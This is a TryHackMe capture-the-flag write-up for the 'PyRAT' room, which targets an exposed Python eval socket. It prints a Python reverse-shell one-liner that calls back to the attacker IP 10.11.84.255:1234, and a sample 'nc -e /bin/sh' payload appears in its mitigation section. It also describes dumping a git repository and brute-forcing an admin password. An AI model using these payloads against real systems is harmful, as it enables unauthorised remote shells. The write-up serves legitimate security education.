TryHackMe: PyRAT

This entry is part 2 of 4 in the series TryHackMe

Views: 16

Pyrat is an easy-rated TryHackMe machine that simulates a running Python RAT on an open socket. The challenge involves leaking a GitHub account to gain access to the PyRat source code, which helps in understanding how the RAT operates and gain root access.

Room Description:

Nmap Enumeration

nmap -sC -sV -T4 -oN pyrat.txt --vv 10.10.200.22

Nmap Results

 $ nmap -sC -sV -T4 -oN pyrat.txt --vv 10.10.200.22
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-13 00:45 CEST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:45
Completed NSE at 00:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:45
Completed NSE at 00:45, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:45
Completed NSE at 00:45, 0.00s elapsed
Initiating Ping Scan at 00:45
Scanning 10.10.200.22 [2 ports]
Completed Ping Scan at 00:45, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 00:45
Completed Parallel DNS resolution of 1 host. at 00:45, 5.52s elapsed
Initiating Connect Scan at 00:45
Scanning 10.10.200.22 [1000 ports]
Discovered open port 22/tcp on 10.10.200.22
Discovered open port 8000/tcp on 10.10.200.22
Completed Connect Scan at 00:45, 1.64s elapsed (1000 total ports)
Initiating Service scan at 00:45
Scanning 2 services on 10.10.200.22
Completed Service scan at 00:48, 167.45s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.200.22.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:48
Completed NSE at 00:48, 7.82s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:48
Completed NSE at 00:48, 0.10s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:48
Completed NSE at 00:48, 0.00s elapsed
Nmap scan report for 10.10.200.22
Host is up, received conn-refused (0.047s latency).
Scanned at 2025-04-13 00:45:47 CEST for 177s
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE  REASON  VERSION
22/tcp   open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMc4hLykriw3nBOsKHJK1Y6eauB8OllfLLlztbB4tu4c9cO8qyOXSfZaCcb92uq/Y3u02PPHWq2yXOLPler1AFGVhuSfIpokEnT2jgQzKL63uJMZtoFzL3RW8DAzunrHhi/nQqo8sw7wDCiIN9s4PDrAXmP6YXQ5ekK30om9kd5jHG6xJ+/gIThU4ODr/pHAqr28bSpuHQdgphSjmeShDMg8wu8Kk/B0bL2oEvVxaNNWYWc1qHzdgjV5HPtq6z3MEsLYzSiwxcjDJ+EnL564tJqej6R69mjII1uHStkrmewzpiYTBRdgi9A3Yb+x8NxervECFhUR2MoR1zD+0UJbRA2v1LQaGg9oYnYXNq3Lc5c4aXz638wAUtLtw2SwTvPxDrlCmDVtUhQFDhyFOu9bSmPY0oGH5To8niazWcTsCZlx2tpQLhF/gS3jP/fVw+H6Eyz/yge3RYeyTv3ehV6vXHAGuQLvkqhT6QS21PLzvM7bCqmo1YIqHfT2DLi7jZxdk=
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJNL/iO8JI5DrcvPDFlmqtX/lzemir7W+WegC7hpoYpkPES6q+0/p4B2CgDD0Xr1AgUmLkUhe2+mIJ9odtlWW30=
|   256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFG/Wi4PUTjReEdk2K4aFMi8WzesipJ0bp0iI0FM8AfE
8000/tcp open  http-alt syn-ack SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     name 'OPTIONS' is not defined
|   Help: 
|_    name 'HELP' is not defined
|_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A63F
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=4/13%Time=67FAED27%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20de
SF:fined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\
SF:x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<st
SF:ring>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cann
SF:ot\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\
SF:x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x
SF:20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20strin
SF:g\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"s
SF:ource\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Hel
SF:p,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invali
SF:d\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\
SF:x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20
SF:code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,
SF:"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(J
SF:avaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20byt
SF:es\n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\
SF:x20bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x
SF:20null\x20bytes\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:48
Completed NSE at 00:48, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:48
Completed NSE at 00:48, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:48
Completed NSE at 00:48, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 183.17 seconds
Show More

Looking at the results we got 2 ports open, 22 and 8000:

Also this scan typically reveals the following services are running on ports 22 and 8000:​

  • Port 22 (SSH): OpenSSH 8.2p1​
  • Port 8000 (HTTP): Python SimpleHTTP/0.6 with Python 3.11.2

Let’s start investigating these services. Port 8000 seems to be more interesting as it runs a Simple Python Webserver, so let’s start investigating this service first.

Looking at http://10.10.234.19:8000/ we get a Try a more basic connection! which must refers to sockets, using nc to connect to it.

Accessing the web server via a browser might not yield useful information. Instead, let’s use curl or netcat to interact with the server:

curl http://10.10.200.22:8000
Try a more basic connection

Same response for the CURL request, let’s try a netcat session to the webserver and try to execute some commands/code.

Typing print("Hello") and receiving “Hello” in response confirms that the server executes Python code sent over the connection.​

First let’s try typing ls to see what we get and the result is  “name 'ls' is not defined" so it seems that we are in a python environement with the port banner.

Let’s set up a listener on the attackbox:

Let’s try to get a reverse shell by sending a Python reverse shell payload to the target:

import socket,os,pty;s=socket.socket();s.connect(("10.11.84.255",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn("/bin/sh")                                                                                                                                                                  

We got the reverse shell to the victim:

Further basic enumeration,

Doing some basic enumeration reveals an interesting folder under /opt which is /opt/dev/.git hosting a python web server on the machine.

Let’s try to download this repo to our attackbox using Git-dumper.

First let’s start another Python webserver on the victim box.

Download the repo using Git-dumper:

git-dumper http://10.10.200.22:2222/.git pysrc/

We were able to retrieve the folder and an old version of the source code.

Code found insode the pyrat.py.old file:

Looking through that .git folder we found a config file leaking the user think credentials and the person behind the git account.

We already knew that the victimbox is also running a SSH service on port 22. Let’s try to use the discovered user credentials to SSH into the victimbox.

Using the credentials we got we were able to connect to think’s user account.

With this access, we got the fitrst flag user.txt:

We need to escalate our privileges to obtain the root flag.

Looking for the git user over Github we were able to find him and find the Pyrat repository where we can find the source code of it.

So… if this is an old version of the application it means that if we just type shell while connected to the app with nc it will return us a shell like:

Further enumeration reveals that root is running the process that let us into the machine, let’s grep it:

If root is running it, there is something we could do to get it run code as root for us.

Let’s examine the code available on the Github repo again.

 From the code, in order to get a shell as root, we have to type admin following that we’ll be asked to enter a password, which from what we see is testpass, but that doesn’t work since the password has been changed and upon 3 failure password entries we’ll have to enter admin again.

Let’s bruteforce using the following Python code to find the password for the admin account.

Link to the code: https://github.com/NetwerkLABS-BE/TryHackMe/blob/main/pyrat-brute.py

Let’s run this Python script on the attackbox.

We got the password for the admin account.

Let’s nc again to connect to the victim on port 8000 and use the admin account with the password we discovered above.

Let’s access the SHELL again, by typing shell on the nc window:

Finally, we got the root flag.

Link to the THM Room.

The root cause of this CTF challenge was an insecure use of Python’s eval() function to process raw input from a network socket. This introduced a severe remote code execution (RCE) vulnerability, allowing attackers to execute arbitrary code on the target system.

To mitigate such risks in real environments, developers must avoid using eval() or exec() on untrusted data. Instead, use safe parsing methods like ast.literal_eval() and apply strict input validation. Where dynamic code execution is necessary, it should be sandboxed and monitored rigorously. Additionally, adhering to the principle of least privilege and auditing system behavior are key to limiting impact from exploitation.

Always treat user input as untrusted — and remember: if attackers can run code, they own the system.

Unsanitized user input in eval() or exec() in Python

The target server in Pyrat accepts Python expressions over a socket and directly evaluates them using eval() or exec() without sanitizing or restricting the input. This allows an attacker to execute arbitrary Python code, including spawning a reverse shell.

For example:

# Server-side (vulnerable)
data = conn.recv(1024)
eval(data)

If an attacker sends:

__import__('os').system('nc -e /bin/sh <IP> <PORT>')

…it gets executed on the server.


🛡️ How to Mitigate This Vulnerability

To prevent this kind of vulnerability in real-world applications:

1. Never use eval() or exec() on user input

Unless absolutely necessary (and even then, in tightly controlled environments), avoid these functions. They allow execution of arbitrary code.

Instead of:

eval(user_input)

Use safe alternatives, like:

  • ast.literal_eval() for safely evaluating Python literals: pythonCopyEditimport ast value = ast.literal_eval(user_input)
  • Command parsing using argparse or custom logic

2. Implement input validation and sanitization

If the application must accept user input, strictly validate it:

  • Allow only specific patterns or types
  • Reject unexpected or malformed inputs

3. Use sandboxing or isolation techniques

If code execution is truly required (e.g., in educational platforms), run the execution in a sandboxed environment:


4. Limit privileges

Run services with least privilege. That way, even if RCE occurs, the attacker has limited access to the system.


5. Audit and monitor

  • Use tools like pspy, auditd, or AppArmor to monitor unexpected behavior
  • Log user actions and watch for unusual input patterns
Series Navigation<< (TryHackMe) Servidae: Log Analysis in ELK